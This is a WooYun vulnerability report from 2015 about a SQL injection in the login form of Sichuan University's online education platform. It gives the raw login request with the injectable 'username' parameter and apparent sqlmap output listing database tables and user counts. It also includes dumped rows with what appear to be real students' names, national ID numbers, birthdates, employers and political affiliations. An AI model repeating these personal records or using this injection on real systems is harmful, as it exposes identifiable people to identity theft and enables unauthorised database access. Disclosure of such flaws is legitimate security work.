当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0142954

漏洞标题：四川大学网络教育学院网络教学平台登录框注入（涉及30w用户）

相关厂商：四川大学

漏洞作者： 路人甲

提交时间：2015-09-23 15:08

修复时间：2015-09-28 15:10

公开时间：2015-09-28 15:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-23： 细节已通知厂商并且等待厂商处理中
2015-09-28： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

挖洞不容易，且挖且珍惜！

详细说明：

POST /ManagePlatform/loginOk.jsp HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/ManagePlatform/login.jsp
Cookie: JSESSIONID=6BE3B1DC2DF5823B854844D63300D287
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
username=admin&password=admin&imageField2.x=40&imageField2.y=17
username参数存在注入


sc1.jpg


漏洞证明：

back-end DBMS: Oracle
Database: DEVELOP
[279 tables]
+------------------------------+
| ADDRESSLIST                  |
| BASE_COLLEGE                 |
| BASE_COLLEGER                |
| BASE_CONNECTOR               |
| BASE_DEPARTMENT              |
| BASE_GROUP                   |
| BASE_LEARNCENTER             |
| BASE_PROVINCE                |
| BASE_ROLE                    |
| BASE_SCHOOLER                |
| BASE_STAFF                   |
| BASE_STUDENT                 |
| BASE_TEACHER                 |
| BASE_USER                    |
| BBS_ACTLOG                   |
| BBS_ATTACHMENT               |
| BBS_CATEGORY                 |
| BBS_FORUM                    |
| BBS_PHRASES                  |
| BBS_THREAD                   |
| BBS_TOPIC                    |
| BBS_USERINFO                 |
| CLASS                        |
| CLASS_TMP                    |
| CLASS_TONGJI                 |
| COLLEGE                      |
| COLLEGE_COURSE               |
| COLLEGE_SP                   |
| COLLEGE_STUDENTSCORE         |
| COURSE                       |
| COURSERESOURCE               |
| COURSEWARE                   |
| COURSEWAREID                 |
| COURSE_COURSEWARE            |
| COURSE_RESOURCE              |
| DATUMDOC                     |
| DELETE_STU_USERS             |
| DELETE_USERS                 |
| DEPART                       |
| DEPARTMENT                   |
| DEPARTMENT_LXFX              |
| DEPARTMENT_SUB               |
| DISCMANAGE                   |
| ENGLISHAPPLICATION           |
| ENGLISHAPPLICATIONTIME       |
| EXAMPACKAGE_INFO             |
| EXAMPACKAGE_INFO_BAK         |
| EXAMPACKAGE_INFO_U4          |
| EXAMPACKGE_OPEN_INFO         |
| EXAMTIME                     |
| EXCELLENT_STUDENT_BATCH      |
| EXCELLENT_STUDENT_LIST       |
| FAMOUS_TEACHER               |
| FAQ                          |
| FAQ_TYPE                     |
| FAZHANTMP                    |
| FAZHAN_RESULT                |
| FILEATTACHMENT               |
| FRESHMAN_CHANGE1             |
| GRADUATED_STUDENT            |
| HOMEPAGE_DETAIL              |
| HOMEWORK                     |
| HOMEWORKENDSCORE             |
| HOMEWORKINSTANCE             |
| HOMEWORK_JUDGEMENT           |
| HOMEWORK_MULTISELECTION      |
| HOMEWORK_SCORE_HECHANG_TMP   |
| HOMEWORK_SCORE_HECHENG       |
| HOMEWORK_SCORE_HECHENG_SAN   |
| HOMEWORK_SCORE_LAST          |
| HOMEWORK_SCORE_LAST_BAK      |
| HOMEWORK_SCORE_SECOND        |
| HOMEWORK_SCORE_TEST          |
| HOMEWORK_SCORE_TEST2         |
| HOMEWORK_SINGLESELECTION     |
| HWANSWER                     |
| HWLIB                        |
| HWPAPER                      |
| HWPAPERITEMS                 |
| HW_HOMEWORK                  |
| HW_HOMEWORKINSTANCE          |
| HW_HOMEWORKINSTANCE_TEMP     |
| HW_HOMEWORKINSTANCE_TEMP2    |
| HW_HOMEWORK_JUDGEMENT        |
| HW_HOMEWORK_MULTISELECTION   |
| HW_HOMEWORK_SINGLESELECTION  |
| HW_JUDGEMENT                 |
| HW_SELECTION                 |
| HW_SELECTIONOPTION           |
| HW_SELECTION_SELECTIONOPTION |
| HW_WORKANSWER                |
| HW_WORKRECORD                |
| HW_WORKRECORD_ANSWERS        |
| HW_WORKRECORD_BAK            |
| HW_WORKRECORD_ST             |
| IMAGE                        |
| IMAGE2_TEMP                  |
| JANNOUNCE                    |
| JDKSH                        |
| JDOWNLOADFILES               |
| JDOWNLOADFILESDIR            |
| JIAOCAI_LIST                 |
| JIAOCAI_LIST2                |
| JIKAO_SCORE                  |
| JP_COURSE                    |
| JP_FORUM                     |
| JP_FORUM_REVERT              |
| JP_FORUM_TOPIC               |
| JSHOUSE                      |
| J_AFID_DFID                  |
| LEARNCENTERCONNECTOR         |
| LISTATTACHMENT               |
| LOGINBANK_LOG                |
| LW_ATTACHMENT                |
| LW_SET                       |
| LW_USERS                     |
| LW_XT                        |
| MANAGER                      |
| MEMO                         |
| MESSAGE_BOARD                |
| MIYTEMP                      |
| MYFRIEND                     |
| NEWSTYPE                     |
| NJNB                         |
| NOPHOTO                      |
| NOTE                         |
| OATONGKAO                    |
| OPEN_LEARNCENTER             |
| OPEN_SCORE                   |
| OPEN_STUDENT                 |
| OPEN_TUITIONRECORD           |
| OPEN_TUITIONSTANDARD         |
| PHOTO                        |
| PICTUREUPLOADDIR             |
| PLAN_TABLE                   |
| PLAY_ARTICLE                 |
| PLAY_ARTICLE_LAYOUT          |
| PLAY_ARTICLE_PL              |
| PLAY_ATTACHMENT              |
| PLAY_INPUT                   |
| PLAY_LAYOUT                  |
| PLAY_LAYOUT_HD               |
| PLAY_PHOTO                   |
| PLAY_PHOTOB                  |
| PLAY_PHOTO_GUIDANG           |
| PLAY_REGISTER                |
| PLAY_REGISTERTEACHER         |
| PLAY_SUBJECT                 |
| PLAY_SUBJECT_TYPE            |
| PRACTICE_BATCH               |
| PRACTICE_CONTENT             |
| PRACTICE_COURSE              |
| PRACTICE_GRADE               |
| PRACTICE_MATCHTEACHER        |
| PRACTICE_TOPIC               |
| PRE_STUDENT                  |
| PS_RESOURCE_SCORE            |
| PS_RESOURCE_SCORE_BAK        |
| PS_RESOURCE_VIEW             |
| PUBLICRESOURCE               |
| QK_SET                       |
| QZPXS                        |
| RECORD_SCORE                 |
| RECRUIT_TIME                 |
| RESOURCE_LIST                |
| RESOURCE_STUDENT             |
| RESOURCE_STUDENT_DETAIL      |
| RESOURCE_STUDENT_DETAIL_BAK  |
| RESOURCE_STUDENT_TOTAL       |
| REVIEWDOC                    |
| ROLE                         |
| SCOREJIDIAN                  |
| SCORE_EXERCISE               |
| SCORE_SCALE                  |
| SCORE_TTUTORSHIP             |
| SCORE_UPLOAD                 |
| SCORE_UPLOAD_BAK             |
| SCUDE_BBS_ACTLOG             |
| SCUDE_BBS_ATTACHMENT         |
| SCUDE_BBS_CATEGORY           |
| SCUDE_BBS_COURSE             |
| SCUDE_BBS_FORUM              |
| SCUDE_BBS_POST               |
| SCUDE_BBS_ROLE               |
| SCUDE_BBS_TOPIC              |
| SCUDE_BBS_USER               |
| SCUDE_BBS_USERFACE           |
| SCUDE_BBS_USER_FORUM         |
| SELECTION                    |
| SELECTIONOPTION              |
| SELECTION_SELECTIONOPTION    |
| SEMESTERREG                  |
| SJKC                         |
| SPECIALITY                   |
| SPECIALITYINFO               |
| SPECIALITYLIST               |
| SPECIALITYRESOURCE           |
| SP_BAK                       |
| STUDENTID_ALTER              |
| STUDENTINFO                  |
| STUDENTINPUTTABLE            |
| STUDENTINPUTTABLE1           |
| STUDENTINPUT_JCQK            |
| STUDENTRECORD                |
| STUDENT_FEESTANDARD          |
| STUDENT_HWINFO               |
| STUDENT_HWSCORE              |
| STUDENT_MOVE                 |
| STUDENT_MOVE_SCORE           |
| STUDENT_MOVE_TYPE            |
| STUDENT_SCORE                |
| STUDENT_SCORE_GUIDANG        |
| STUDENT_SCORE_JIANKONG       |
| STUDENT_SCORE_KAOSHI         |
| STUDENT_SCORE_KAOSHI_BAK1    |
| STUDENT_SCORE_KAOSHI_MD      |
| STUDENT_SCORE_KAOSHI_U4      |
| STUDENT_SCORE_RE_TMP         |
| STUDENT_SCORE_TMP            |
| STUDENT_SCORE_TMP_BAK        |
| STUDENT_SCORE_TMP_COPY       |
| STUDENT_SCORE_TONGJI         |
| STUDY_STYLE                  |
| STU_USERS                    |
| STU_USERS_COPY               |
| STU_USERS_MODI               |
| STU_USERS_ZAIJI              |
| SUBJECT                      |
| TABLE_FILE                   |
| TCHPROGRESS                  |
| TCHPROGRESS_BEIFEN           |
| TCHSCHEDULE                  |
| TEACHERSCORE                 |
| TEACHER_HWCODE               |
| TEACHER_ZC                   |
| TESTTYPE                     |
| THESIS_MANAGER_ROLE          |
| TIMESET                      |
| TK                           |
| TMP                          |
| TONGKAOSCORE                 |
| TONGKAOSCORE20130116QIAN     |
| TONGKAOSCORE_JIANKONG        |
| TONGKAOSCORE_TEST            |
| TONGKAO_MODIFY               |
| TONGKAO_SCORE                |
| TONGKAO_SCORE_SOURCE         |
| TONGKAO_TONGJI               |
| TUITIONDISKRECORD            |
| TUITIONRECORD                |
| TUITIONSTANDARD              |
| T_RETRIEVE_LOG               |
| T_STUDENT_PAY                |
| USERS                        |
| USERS_LOGIN_DETAIL           |
| USERS_LOGIN_RECORD           |
| USERS_LOGIN_RECORD_20080710  |
| USERS_TMP                    |
| VOTESOURCE                   |
| VOTE_DIANXIN                 |
| VOTE_FAQ                     |
| WEILINGZ                     |
| WEILINGZ2                    |
| WISDOM                       |
| WORKANSWER                   |
| WORKRECORD                   |
| WORKRECORD_ANSWERS           |
| XJQC                         |
| XJQC2014                     |
| XJQC20141211                 |
| XJQC_GRADUATE                |
| XW                           |
| YOUJI                        |
| YUNXING_COURSE_MODIFY        |
| YUNXING_SCHEDULE_MODIFY      |
| ZHAOSHENG_SCHOOL             |
| ZHAOSHENG_SPECIALITY         |
| ZHAOSHENG_STUDENT_NEW        |
| ZHAOSHENG_STUDYSTYLE         |
+------------------------------+
back-end DBMS: Oracle
[13:08:49] [INFO] resumed: 143776
[13:08:49] [INFO] resumed: 179202
Database: DEVELOP
+-----------+---------+
| Table     | Entries |
+-----------+---------+
| USERS     | 179202  |
| STU_USERS | 143776  |
+-----------+---------+
GID | USERID | NUMBERID           | TONGKAOID | GRADUATEID | IP   | TEL  | SEX | BORN | SIGN | CITY | TYPE | EMAIL | POWER | SCORE | DEGREE  | RESUME | G_TIME | ANSWER | STATUS | E_LEVEL | ADDRESS | PAYMENT | USERNAME    | REALNAME | QUESTION  | BIRTHDAY | A_DEGREE | CARDTYPE | HOMEPAGE | REG_TIME  | PASSWORD | G_SCHOOL | RECENT_IP | REG_EMAIL | STOPCAUSE      | OCCUPATION | POSTALCODE | RECENT_TIME | HASHOMEPAGE | NATIONALITY | STUDY_STYLE | USERNAME_NEW | P_SPECIALITY | G_SPECIALITY |
+-----+--------+--------------------+-----------+------------+------+------+-----+------+------+------+------+-------+-------+-------+---------+--------+--------+--------+--------+---------+---------+---------+-------------+----------+-----------+----------+----------+----------+----------+-----------+----------+----------+-----------+-----------+----------------+------------+------------+-------------+-------------+-------------+-------------+--------------+--------------+--------------+
| 0   | 31915  | 510106790806321    | NULL      | NULL       | NULL | NULL | 男   | NULL | 0    | NULL | 0    | NULL  | 9     | 0     | 0       | NULL   | NULL   | 软件工程   | 1      | 200306  | NULL    | 0       | DK103214005 | 张维       | 物理科学与技术学院 | NULL     | 0        | 1        | NULL     | 28-2月 -04 | 111      | NULL     | NULL      | 11@**.**.**.** | 学籍年限过期20140902 | NULL       | NULL       | NULL        | 0           | NULL        | NULL        | DK103214005  | NULL         | NULL         |
| 0   | 31916  | 510103195711125975 | NULL      | NULL       | NULL | NULL | 男   | NULL | 0    | NULL | 0    | NULL  | 9     | 0     | 2006年4月 | NULL   | NULL   | 软件工程   | 0      | 2003年9月 | NULL    | 0       | DK103214006 | 刘磊       | 物理科学与技术学院 | NULL     | 0        | 1        | NULL     | 28-2月 -04 | 111      | NULL     | NULL      | 11@**.**.**.** | NULL           | NULL       | NULL       | NULL        | 0           | NULL        | NULL        | DK103214006  | NULL         | NULL         |
| 0   | 31917  | 510108197902233013 | NULL      | NULL       | NULL | NULL | 男   | NULL | 0    | NULL | 0    | NULL  | 9     | 0     | 2007年6月 | NULL   | NULL   | 软件工程   | 0      | 2003年9月 | NULL    | 0       | DK103214007 | 李孜       | 物理科学与技术学院 | NULL     | 0        | 1        | NULL     | 28-2月 -04 | 111      | NULL     | NULL      | 11@**.**.**.** | NULL           | NULL       | NULL       | NULL        | 0           | NULL        | NULL        | DK103214007  | NULL         | NULL         |
+-----+--------+--------------------+-----------+------------+------+------+-----+------+------+------+------+-------+-------+-------+---------+--------+--------+--------+--------+---------+---------+---------+-------------+----------+-----------+----------+----------+----------+----------+-----------+----------+----------+-----------+-----------+----------------+------------+------------+-------------+-------------+-------------+-------------+--------------+--------------+--------------+
back-end DBMS: Oracle
Database: DEVELOP
Table: STU_USERS
[2 entries]
+--------+--------------------+-------------------+-----+-------+-------+---------+--------+--------+--------+--------+---------+---------+---------+-------------+----------+----------+----------+----------+----------+-----------+-----------+-----------+-----------+------------+------------+------------+------------+------------+-------------+-------------+-------------+-------------+--------------+--------------+--------------+--------------+--------------------+----------------+----------------+----------------+----------------+-----------------+
| EXAMID | IDCARD             | GRADUATEID        | SEX | PRINT | EMAIL | PHONE   | REMARK | STATUS | MOBILE | XUEZHI | TUITION | COMPANY | ADDRESS | USERNAME    | REALNAME | BIRTHDAY | POSTCODE | POLITICS | CARDTYPE | CONFIRMIP | PRECREDIT | CLASSCODE | CHECKTIME | ENROLLTIME | ENROLLTYPE | OCCUPATION | "LANGUAGE" | ENROLLMENT | XUEJISTATUS | NATIONALITY | CONFIRMDATE | CHECKRESULT | CREDITRELIEF | CIVILIZATION | GRADUATETIME | GRADUATEDATE | GRADUATENUMBER     | PRINT_GRADUATE | GRADUATESPECIA | SPECIALITYCODE | GRADUATESCHOOL | EN_CHECK_RESULT |
+--------+--------------------+-------------------+-----+-------+-------+---------+--------+--------+--------+--------+---------+---------+---------+-------------+----------+----------+----------+----------+----------+-----------+-----------+-----------+-----------+------------+------------+------------+------------+------------+-------------+-------------+-------------+-------------+--------------+--------------+--------------+--------------+--------------------+----------------+----------------+----------------+----------------+-----------------+
| NULL   | 512902751206002    | 960160            | 女   | 1     | NULL  | 4442213 | 0      | 0      | NULL   | NULL   | 是       | 华蓥广能集团  | 0       | DB103123079 | 向艳华      | 19751206 | 0        | 共产党员     | NULL     | NULL      | 0         | NULL      | 20050601  | NULL       | NULL       | NULL       | 英语         | 合格         | 2           | 汉族          | 16-5月 -10   | 1           | 0            | 大专           | 199606       | 20050601     | 106107200505003091 | 1              | 装璜艺术           | 0              | 淮北煤炭师范学院       | 0               |
| NULL   | 510104198202114098 | 66511602022000177 | 男   | 1     | NULL  | 0       | 0      | 0      | NULL   | NULL   | 是       | 广安电信分公司 | 0       | DB103123080 | 蒋和平      | 19820211 | 0        | 共青团员     | NULL     | NULL      | 0         | NULL      | 20050601  | NULL       | NULL       | NULL       | 英语         | 合格         | 2           | 汉族          | 16-5月 -10   | 1           | 0            | 大专           | 200212       | 20050601     | 106107200505003092 | 1              | 电子技术           | 0              | 电子科技大学         | 0               |

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-09-28 15:10

厂商回复：

最新状态：

暂无